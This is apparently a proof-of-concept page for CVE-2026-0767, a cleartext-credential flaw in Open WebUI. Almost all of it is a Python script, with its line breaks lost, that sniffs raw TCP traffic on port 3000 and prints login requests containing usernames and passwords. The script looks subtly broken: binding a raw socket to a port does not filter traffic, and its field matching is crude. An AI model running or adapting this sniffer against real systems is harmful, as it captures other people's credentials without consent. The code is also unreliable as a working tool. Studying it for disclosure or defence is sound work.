CVE-2026-0767 Open WebUI 凭证明文传输信息泄露漏洞

# CVE-2026-0767 PoC - Open WebUI Cleartext Credentials Capture # This PoC demonstrates the vulnerability where credentials are transmitted in plaintext import socket import struct import argparse def capture_http_credentials(interface, port=3000): """ Capture plaintext credentials from Open WebUI HTTP traffic This PoC is for educational and authorized testing purposes only """ print(f"[*] Listening on {interface}:{port} for HTTP traffic...") print("[*] Waiting for credentials from Open WebUI login endpoint...") # Create raw socket to capture HTTP traffic try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) sock.bind((interface, port)) except PermissionError: print("[-] Root privileges required for raw socket") return while True: try: data, addr = sock.recvfrom(65535) # Parse HTTP packet and look for login credentials http_data = data.decode('utf-8', errors='ignore') # Check for typical Open WebUI login patterns if 'POST' in http_data and ('username' in http_data.lower() or 'password' in http_data.lower()): print("[+] Potential credentials captured!") print(http_data) # Extract credentials if present if 'username=' in http_data.lower() and 'password=' in http_data.lower(): print("\n[+] Cleartext credentials found!") except KeyboardInterrupt: print("\n[*] Stopping capture...") break def main(): parser = argparse.ArgumentParser(description='CVE-2026-0767 PoC') parser.add_argument('--interface', default='0.0.0.0', help='Network interface to listen on') parser.add_argument('--port', type=int, default=3000, help='Port to monitor') args = parser.parse_args() capture_http_credentials(args.interface, args.port) if __name__ == '__main__': main()